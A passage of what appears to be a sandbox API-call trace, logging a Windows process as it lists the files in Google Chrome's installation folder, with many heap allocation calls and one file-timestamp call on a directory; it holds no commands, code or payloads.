hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0087.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="")) returned 1 [0087.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbfc8 [0087.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306dd8 [0087.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x82c0) returned 0x12ea380 [0087.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="")) returned 1 [0087.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="")) returned 0 [0087.747] GetLastError () returned 0x12 [0087.747] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.747] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="")) returned 1 [0087.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0087.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.747] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.748] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.748] NtClose (Handle=0x164) returned 0x0 [0087.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306ee0 [0087.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306fe8 [0087.750] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0087.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="")) returned 1 [0087.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13070f0 [0087.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbfe8 [0087.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13071f8 [0087.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db1d780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7db1d780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x744b1e7c, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x2f01758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0087.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x74ce3fd2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="")) returned 1 [0087.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc008 [0087.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307300 [0087.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.756] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x73db0ff6, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="")) returned 1 [0087.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc028 [0087.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307408 [0087.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.757] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe6e02b4, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="")) returned 1 [0087.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc048 [0087.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307510 [0087.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.759] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff5b27e6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="")) returned 1 [0087.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc068 [0087.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307618 [0087.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.761] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd7ed80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7dd7ed80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7553c382, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3953558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="")) returned 1 [0087.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x75e2d09a, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="")) returned 1 [0087.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc088 [0087.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307720 [0087.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.764] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76043186, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x86558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="")) returned 1 [0087.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.765] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7638a542, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x94b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="")) returned 1 [0087.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.766] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9a43f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="")) returned 1 [0087.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.768] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="")) returned 1 [0087.768] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="")) returned 1 [0087.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.769] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="")) returned 1 [0087.769] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0087.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc0a8 [0087.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307828 [0087.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.771] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 